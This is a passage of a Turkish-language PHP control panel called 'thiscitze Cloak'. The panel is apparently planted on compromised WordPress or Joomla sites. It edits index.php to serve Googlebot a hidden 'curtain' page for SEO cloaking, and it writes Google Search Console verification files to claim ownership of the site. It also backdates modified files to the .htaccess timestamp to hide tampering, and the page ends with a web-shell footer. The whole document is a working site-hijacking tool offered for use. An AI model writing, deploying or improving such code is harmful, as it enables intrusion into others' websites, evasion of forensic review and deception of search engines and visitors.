        if (class_exists('Memcache')) { try{$mm=new Memcache();if(@$mm->connect('127.0.0.1',11211,1)){$mm->flush();$mm->close();$r['memcache']='OK';}else $r['memcache']='N/A';}catch(Exception$e){$r['memcache']='N/A';} }else $r['memcache']='N/A';
        if (function_exists('curl_init')) { $ch=curl_init('http://127.0.0.1:6081/');curl_setopt_array($ch,array(CURLOPT_RETURNTRANSFER=>true,CURLOPT_CUSTOMREQUEST=>'PURGE',CURLOPT_TIMEOUT=>1));curl_exec($ch);$cd=curl_getinfo($ch,CURLINFO_HTTP_CODE);curl_close($ch);$r['varnish']=$cd>0?"PURGE $cd":'N/A';}
        if ($CMS === 'wp') { $d=$ROOT.'/wp-content/cache'; if(is_dir($d)){$n=0;$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($d,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);foreach($it as$f){if($f->isFile()&&@unlink($f->getRealPath()))$n++;}$r['wp_cache']="$n dosya";} else $r['wp_cache']='N/A'; }
        if ($CMS === 'joomla') { foreach(array('/cache','/administrator/cache','/tmp')as$d){$p=$ROOT.$d;if(is_dir($p)){$n=0;$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);foreach($it as$f){if($f->isFile()&&@unlink($f->getRealPath()))$n++;}$r['joomla_'.basename($d)]="$n dosya";}} }
        j($r);
        break;

    case 'fixts':
        $ht = $ROOT . '/.htaccess';
        $tm = file_exists($ht) ? @filemtime($ht) : 0;
        if (!$tm) { j(array('s'=>'err','m'=>'.htaccess bulunamadi')); break; }
        $n = 0;
        foreach (array($ROOT . '/index.php', $ROOT . '/.render-cache/render-cache.html') as $f) {
            if (file_exists($f)) { @touch($f, $tm); $n++; }
        }
        j(array('s'=>'ok','n'=>$n,'t'=>date('Y-m-d H:i:s',$tm)));
        break;

    case 'writegoogle':
        $name = isset($_POST['b']) ? base64_decode(strtr($_POST['b'], '-_', '+/')) : '';
        $content = isset($_POST['d']) ? @hex2bin($_POST['d']) : '';
        if (!preg_match('/^google[a-zA-Z0-9]+\.html$/', $name)) { exit('ERR'); }
        if (!preg_match('/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/', trim($content))) { exit('ERR'); }
        exit(@file_put_contents($ROOT . '/' . $name, $content) ? 'OK' : 'ERR');

    case 'rmgoogle':
        $name = isset($_GET['b']) ? base64_decode(strtr($_GET['b'], '-_', '+/')) : '';
        if (!preg_match('/^google[a-zA-Z0-9]+\.html$/', $name)) { exit('ERR'); }
        exit(@unlink($ROOT . '/' . $name) ? 'OK' : 'ERR');
}

// ============================================================
// PANEL UI - HICBIR SEKILDE .htaccess'e DOKUNMAZ
// ============================================================
$guide = '<div style="background:#0d1117;border:1px solid #58a6ff40;border-radius:8px;padding:16px 20px;margin:14px 0">
<div style="font-size:13px;font-weight:600;color:#58a6ff;margin-bottom:10px">KULLANIM SIRASI</div>
<div style="display:flex;flex-direction:column;gap:8px;font-size:13px;color:#c9d1d9">
<div style="display:flex;align-items:flex-start;gap:10px">
<span style="background:#238636;color:#fff;border-radius:50%;width:22px;height:22px;display:flex;align-items:center;justify-content:center;font-size:12px;font-weight:700;flex-shrink:0">1</span>
<div><b style="color:#f0f6fc">Perde HTML</b> — Asagidaki kutuya Google bot\'a gostermek istedigin HTML sayfayi yapistir, sonra <b style="color:#3fb950">Kaydet</b> butonuna bas.</div>
</div>
<div style="display:flex;align-items:flex-start;gap:10px">
<span style="background:#1f6feb;color:#fff;border-radius:50%;width:22px;height:22px;display:flex;align-items:center;justify-content:center;font-size:12px;font-weight:700;flex-shrink:0">2</span>
<div><b style="color:#f0f6fc">Cloak Kur</b> — Yukaridaki <b style="color:#3fb950">Cloak Kur</b> butonuna bas. Sistem index.php\'yi duzenler ve cloak\'i aktif eder.</div>
</div>
<div style="display:flex;align-items:flex-start;gap:10px">
<span style="background:#9e6a03;color:#fff;border-radius:50%;width:22px;height:22px;display:flex;align-items:center;justify-content:center;font-size:12px;font-weight:700;flex-shrink:0">3</span>
<div><b style="color:#f0f6fc">Test Et</b> — <b style="color:#3fb950">Bot Test</b> ile dene veya <b style="color:#58a6ff">Zengin Sonuclar Testi</b>\'ne tikla. Google bot perdeyi goruyor mu kontrol et.</div>
</div>
</div>
</div>';
$pdir = $ROOT . '/.render-cache';
$aktif = file_exists($pdir . '/render.lock');
$perde_var = file_exists($pdir . '/render-cache.html') && filesize($pdir . '/render-cache.html') > 100;
$google_files = array();
foreach ((array)@glob($ROOT . '/google*.html') as $gf) { if (preg_match('/^google[a-zA-Z0-9]+\.html$/', basename($gf))) $google_files[] = basename($gf); }
sort($google_files);
?><!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>thiscitze Cloak</title>
<style>
*{box-sizing:border-box}
body{background:#0d1117;color:#c9d1d9;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI','Noto Sans',monospace;padding:24px;max-width:900px;margin:0 auto;font-size:14px;line-height:1.5}
h1{color:#58a6ff;font-size:24px;margin:0 0 2px;font-weight:600;letter-spacing:-0.3px}
a{color:#58a6ff;text-decoration:none;transition:color .2s}a:hover{color:#79c0ff}
.card{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:20px;margin:14px 0;transition:border-color .2s}
.card:hover{border-color:#58a6ff40}
h2{color:#f0f6fc;font-size:13px;margin:0 0 14px;text-transform:uppercase;letter-spacing:.6px;opacity:.7}
.row{display:flex;align-items:center;gap:10px;margin:6px 0;font-size:13px;flex-wrap:wrap}
.lbl{color:#8b949e;min-width:110px;font-weight:500}.tag{display:inline-flex;align-items:center;gap:4px;padding:2px 10px;border-radius:20px;font-size:11px;font-weight:600;background:#21262d;color:#c9d1d9;border:1px solid #30363d}
.btn{display:inline-flex;align-items:center;justify-content:center;gap:6px;cursor:pointer;padding:8px 18px;border:none;font-family:inherit;font-size:13px;font-weight:600;border-radius:6px;transition:all .2s;white-space:nowrap}
.btn:hover{opacity:.9;transform:translateY(-1px);box-shadow:0 4px 12px rgba(0,0,0,.3)}
.btn:active{transform:translateY(0)}
.btn-p{background:#238636;color:#fff}.btn-p:hover{background:#2ea043}
.btn-w{background:#9e6a03;color:#fff}.btn-w:hover{background:#bb8009}
.btn-d{background:#da3633;color:#fff}.btn-d:hover{background:#f85149}
.btn-i{background:#1f6feb;color:#fff}.btn-i:hover{background:#388bfd}
.btn-s{background:#21262d;color:#c9d1d9;border:1px solid #30363d}.btn-s:hover{background:#30363d}
.br{display:flex;gap:8px;margin:10px 0;flex-wrap:wrap}.br .btn{flex:1;min-width:130px}
.msg{padding:10px 14px;border-radius:6px;margin:8px 0;font-size:13px;font-weight:500;display:none;line-height:1.5}
.msg.ok{background:#0a2e0a;border:1px solid #238636;color:#3fb950;display:block}
.msg.err{background:#2e0a0a;border:1px solid #da3633;color:#f85149;display:block}
.msg.info{background:#0a0a2e;border:1px solid #1f6feb;color:#58a6ff;display:block}
textarea{background:#0d1117;color:#c9d1d9;border:1px solid #30363d;padding:10px;font-family:'JetBrains Mono','Consolas',monospace;font-size:13px;width:100%;height:160px;border-radius:6px;resize:vertical;transition:border-color .2s}
textarea:focus{outline:none;border-color:#58a6ff;box-shadow:0 0 0 3px rgba(88,166,255,.15)}
input{background:#0d1117;color:#c9d1d9;border:1px solid #30363d;padding:8px 10px;font-family:inherit;font-size:13px;border-radius:6px;width:100%;transition:border-color .2s}
input:focus{outline:none;border-color:#58a6ff;box-shadow:0 0 0 3px rgba(88,166,255,.15)}
.cs{display:inline-flex;align-items:center;gap:8px;padding:4px 14px;border-radius:20px;font-size:12px;font-weight:600;letter-spacing:.2px}
.cs.on{background:#0a2e0a;border:1px solid #238636;color:#3fb950}
.cs.off{background:#2e0a0a;border:1px solid #da3633;color:#f85149}
.cs.na{background:#21262d;border:1px solid #30363d;color:#8b949e}
.cs .dot{width:7px;height:7px;border-radius:50%;display:inline-block}
.cs.on .dot{background:#3fb950;box-shadow:0 0 6px rgba(63,185,80,.5)}
.cs.off .dot{background:#f85149;box-shadow:0 0 6px rgba(248,81,73,.5)}
.cs.na .dot{background:#8b949e}
details>summary{cursor:pointer;color:#58a6ff;font-size:13px;font-weight:500;padding:6px 0;transition:color .2s}
details>summary:hover{color:#79c0ff}
summary::marker{color:#58a6ff}
.hidden{display:none}
.glink{background:#0d1117;border:1px solid #58a6ff;border-radius:6px;padding:10px 14px;margin:10px 0;font-size:13px;text-align:center;transition:all .2s}
.glink:hover{border-color:#79c0ff;background:#161b22}
.glink a{color:#58a6ff;font-weight:600}
.header-line{display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:8px;margin-bottom:16px;padding-bottom:16px;border-bottom:1px solid #21262d}
.sub{color:#8b949e;font-size:12px}
.sub a{color:#f80}
.footer{text-align:center;color:#21262d;font-size:11px;margin:28px 0 10px;letter-spacing:.5px}
.footer a{color:#8b949e}
::-webkit-scrollbar{width:6px}::-webkit-scrollbar-track{background:#0d1117}::-webkit-scrollbar-thumb{background:#30363d;border-radius:3px}::-webkit-scrollbar-thumb:hover{background:#484f58}
@keyframes blink{0%,100%{opacity:1}50%{opacity:.2}}
.blink{animation:blink 2s infinite;color:#f80;font-weight:700}
</style>
</head>
<body>

<h1>thiscitze Cloak</h1>
<div style="font-size:11px;color:#555;margin-bottom:12px"><?=$_SERVER['HTTP_HOST']?> · <a href="https://t.me/thiscitze" target="_blank" class="blink">@thiscitze</a></div>

<div class="card">
<h2 style="color:#0f0;font-size:14px;margin:0 0 12px">DURUM</h2>
<div class="row"><span class="lbl">Cloak:</span><span id="cs" class="cs <?=$aktif?'on':($perde_var?'off':'na')?>"><?=$aktif?'AKTIF':($perde_var?'KAPALI':'KURULU DEGIL')?></span></div>
<div class="row"><span class="lbl">CMS:</span><span class="tag"><?=$CMS_LABEL?></span></div>
<div class="row"><span class="lbl">Perde:</span><span><?=$perde_var ? filesize($pdir.'/render-cache.html').'B' : 'YOK'?></span>
<?php if ($perde_var): ?><a href="?<?=$pk?>&a=viewperde" target="_blank" style="color:#0af;font-size:11px">[Goruntule]</a><?php endif; ?>
</div>

<?=$guide?>

<?php foreach ($google_files as $gf): ?>
<div class="row"><span class="lbl">Google:</span><span><?=$gf?></span> <a href="#" onclick="rmG('<?=htmlspecialchars($gf, ENT_QUOTES)?>');return false" style="color:#c33;font-size:11px">[Sil]</a></div>
<?php endforeach; ?>
</div>

<div class="card">
<h2 style="color:#0f0;font-size:14px;margin:0 0 12px">ISLEMLER</h2>
<div class="br">
<button class="btn btn-i" onclick="pc()">On Test</button>
<button class="btn btn-p" onclick="ac()">Cloak Kur</button>
<button class="btn btn-w" onclick="bt()">Bot Test</button>
<button class="btn" style="background:#a0a;color:#fff" onclick="rv()">Cloak Kapat</button>
<button class="btn" style="background:#0a3a3a;color:#0ff" onclick="cc()">Cache Temizle</button>
<button class="btn" style="background:#2a1a4a;color:#c9f" onclick="fts()">Timestamp</button>
<button class="btn btn-d" onclick="ui()">Kaldir</button>
</div>
<div class="br">
<button class="btn" style="background:#1a1a1a;color:#f80;border:1px solid #f80" onclick="cht()">.htaccess Temizle</button>
</div>
<div class="glink">
<a href="https://search.google.com/test/rich-results?url=<?=urlencode((!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?'https':'http').'://'.$_SERVER['HTTP_HOST'])?>" target="_blank" style="font-weight:bold;color:#fa0">Zengin Sonuclar Testi ↗</a>
</div>
<div id="msg" class="msg"></div>
<div id="ra" class="hidden" style="margin-top:8px;font-size:12px;color:#aaa"></div>
</div>

<div class="card">
<h2 style="color:#0f0;font-size:14px;margin:0 0 12px">PERDE HTML</h2>
<div style="font-size:11px;color:#555;margin-bottom:6px">Googlebot'a gosterilecek sayfa. Once KAYDET, sonra Cloak Kur.</div>
<textarea id="ph" placeholder="Perde HTML..." onfocus="if(!this._loaded){this._loaded=true;var x=new XMLHttpRequest();x.open('GET','?<?=$pk?>&a=viewperde&_='+Date.now());x.onload=function(){if(x.status==200&&x.responseText)document.getElementById('ph').value=x.responseText;};x.send();}"></textarea>
<div class="br" style="margin-top:6px"><button class="btn btn-i" onclick="lp()">Yukle</button><button class="btn btn-p" onclick="sp()">Kaydet</button></div>
<div id="pmsg" class="msg"></div>
</div>

<details>
<summary>Google Dogrulama Dosyasi Yukle</summary>
<div class="card" style="margin-top:6px">
<h2 style="color:#0f0;font-size:14px;margin:0 0 8px">Google Dogrulama</h2>
<div style="font-size:11px;color:#555;margin-bottom:6px">Google Search Console dogrulama dosyasi yukleme.</div>
<input type="text" id="gn" placeholder="google....html">
<input type="text" id="gc" placeholder="google-site-verification: TOKEN" style="margin-top:4px">
<div class="br" style="margin-top:6px"><button class="btn btn-p" onclick="ug()">Yukle</button></div>
<div id="gm" class="msg"></div>
</div>
</details>

<div style="text-align:center;font-size:11px;margin:20px 0 8px">thiscitze Cloak v<?=$VERSION?> · <a href="https://t.me/thiscitze" target="_blank" class="blink">@thiscitze</a></div>

<script>
var PK=<?=json_encode($pk)?>;
function m(id,t,ty){var e=document.getElementById(id);e.textContent=t;e.className='msg '+(ty||'info');}
function pc(){
m('msg','On test calisiyor...','info');document.getElementById('ra').className='hidden';
var x=new XMLHttpRequest();x.open('GET','?'+PK+'&a=precheck&_='+Date.now());
x.onload=function(){try{var r=JSON.parse(x.responseText);var h='<b>Skor: '+r.score+'/100</b><br>';for(var i=0;i<r.checks.length;i++){var c=r.checks[i];var ic=c.s==='ok'?'✓':(c.s==='warn'?'!':'✗');var cl=c.s==='ok'?'#0f0':(c.s==='warn'?'#fa0':'#c33');h+='<div style="color:'+cl+';margin:2px 0">'+ic+' '+c.name+': '+c.v+' - '+c.m+'</div>';}document.getElementById('ra').innerHTML=h;document.getElementById('ra').className='';m('msg','','');}catch(e){m('msg','Hata: '+x.responseText,'err');}};x.send();
}
function ac(){
m('msg','Cloak kuruluyor...','info');
var n=document.getElementById('ph').value.trim();if(n.length<50){m('msg','Once perde HTML yapistir ve KAYDET et!','err');return;}
var x=new XMLHttpRequest();x.open('GET','?'+PK+'&a=autocloak&_='+Date.now());
x.onload=function(){try{var r=JSON.parse(x.responseText);if(r.status==='ok'){m('msg','Cloak kuruldu!','ok');setTimeout(function(){location.reload()},1500);}else m('msg','Hata','err');}catch(e){m('msg','Hata','err');}};x.send();
}
function rv(){if(!confirm('Cloak kapatilsin mi?'))return;m('msg','Kapatiliyor...','info');var x=new XMLHttpRequest();x.open('GET','?'+PK+'&a=revert&_='+Date.now());x.onload=function(){try{var r=JSON.parse(x.responseText);m('msg',r.msg,'ok');setTimeout(function(){location.reload()},1000);}catch(e){m('msg','Hata','err');}};x.send();}
function ui(){if(!confirm('TAMAMEN KALDIRILSIN MI?'))return;m('msg','Kaldiriliyor...','info');var x=new XMLHttpRequest();x.open('GET','?'+PK+'&a=uninstall&_='+Date.now());x.onload=function(){try{var r=JSON.parse(x.responseText);m('msg',r.msg,'ok');setTimeout(function(){location.reload()},1000);}catch(e){m('msg','Hata','err');}};x.send();}
function bt(){m('msg','Bot testi...','info');document.getElementById('ra').className='hidden';var x=new XMLHttpRequest();x.open('GET','?'+PK+'&a=botcheck&_='+Date.now());x.onload=function(){try{var r=JSON.parse(x.responseText);if(r.error){m('msg',r.error,'err');return;}var h='HTTP: '+r.http_code+' | Cloak: '+(r.cloak_active?'AKTIF':'KAPALI')+'<br>Eslesme: '+(r.matched?'<span style=color:#0f0>Perde basildi</span>':'<span style=color:#fa0>Perde basilmadi (beklenen)</span>')+'<br><span style=font-size:11px;color:#555>'+r.note+'</span>';document.getElementById('ra').innerHTML=h;document.getElementById('ra').className='';m('msg','','');}catch(e){m('msg','Hata','err');}};x.send();}
function cc(){m('msg','Cache temizleniyor...','info');document.getElementById('ra').className='hidden';var x=new XMLHttpRequest();x.open('GET','?'+PK+'&a=clearcache&_='+Date.now());x.timeout=20000;x.onload=function(){try{var r=JSON.parse(x.responseText);var h='';for(var k in r)h+='<div style="padding:4px 8px;background:#0a1e0a;border-left:3px solid #0f0;color:#0f0;font-size:11px;margin:2px 0">'+k+': '+r[k]+'</div>';document.getElementById('ra').innerHTML=h;document.getElementById('ra').className='';m('msg','','');}catch(e){m('msg','JSON hatasi','err');}};x.ontimeout=function(){m('msg','Zaman asimi','err');};x.send();}
function fts(){m('msg','Timestamp...','info');var x=new XMLHttpRequest();x.open('GET','?'+PK+'&a=fixts&_='+Date.now());x.onload=function(){try{var r=JSON.parse(x.responseText);if(r.s==='ok')m('msg',r.n+' dosya .htaccess ile ayni tarih yapildi ('+r.t+')','ok');else m('msg',r.m,'err');}catch(e){m('msg','Hata','err');}};x.send();}
function cht(){m('msg','.htaccess temizleniyor...','info');var x=new XMLHttpRequest();x.open('GET','?'+PK+'&a=cleanht&_='+Date.now());x.onload=function(){m('msg','.htaccess: '+x.responseText,x.responseText==='OK'?'ok':'info');setTimeout(function(){location.reload()},1500);};x.send();}
function lp(){var x=new XMLHttpRequest();x.open('GET','?'+PK+'&a=viewperde&_='+Date.now());x.onload=function(){if(x.status==200&&x.responseText){document.getElementById('ph').value=x.responseText;m('pmsg','Perde yuklendi ('+x.responseText.length+' karakter)','ok');}else m('pmsg','Perde bulunamadi','err');};x.send();}
function toH(s){var b=new TextEncoder().encode(s),h='';for(var i=0;i<b.length;i++)h+=('0'+b[i].toString(16)).slice(-2);return h;}
function sp(){var c=document.getElementById('ph').value;if(c.indexOf('<')===-1){m('pmsg','HTML gerekiyor','err');return;}m('pmsg','Kaydediliyor...','info');var fd=new FormData();fd.append('a','savehtml');fd.append('d',toH(c));var x=new XMLHttpRequest();x.open('POST','?'+PK+'&_='+Date.now());x.onload=function(){m('pmsg',x.responseText==='OK'?'Kaydedildi!':'Hata: '+x.responseText,x.responseText==='OK'?'ok':'err');};x.send(fd);}
function ug(){var n=document.getElementById('gn').value.trim(),c=document.getElementById('gc').value.trim();if(!/^google[a-zA-Z0-9]+\.html$/.test(n)){m('gm','Gecersiz dosya adi','err');return;}if(!/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/.test(c)){m('gm','Gecersiz icerik','err');return;}m('gm','Yukleniyor...','info');var fd=new FormData();fd.append('a','writegoogle');fd.append('b',btoa(n).replace(/\+/g,'-').replace(/\//g,'_').replace(/=+$/,''));fd.append('d',toH(c));var x=new XMLHttpRequest();x.open('POST','?'+PK+'&_='+Date.now());x.onload=function(){if(x.responseText==='OK'){m('gm','Yuklendi!','ok');setTimeout(function(){location.reload()},1000);}else m('gm','Hata: '+x.responseText,'err');};x.send(fd);}
function rmG(n){if(!confirm(n+' silinsin mi?'))return;var b=btoa(n).replace(/\+/g,'-').replace(/\//g,'_').replace(/=+$/,'');var x=new XMLHttpRequest();x.open('GET','?'+PK+'&a=rmgoogle&b='+b+'&_='+Date.now());x.onload=function(){if(x.responseText==='OK')location.reload();};x.send();}
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit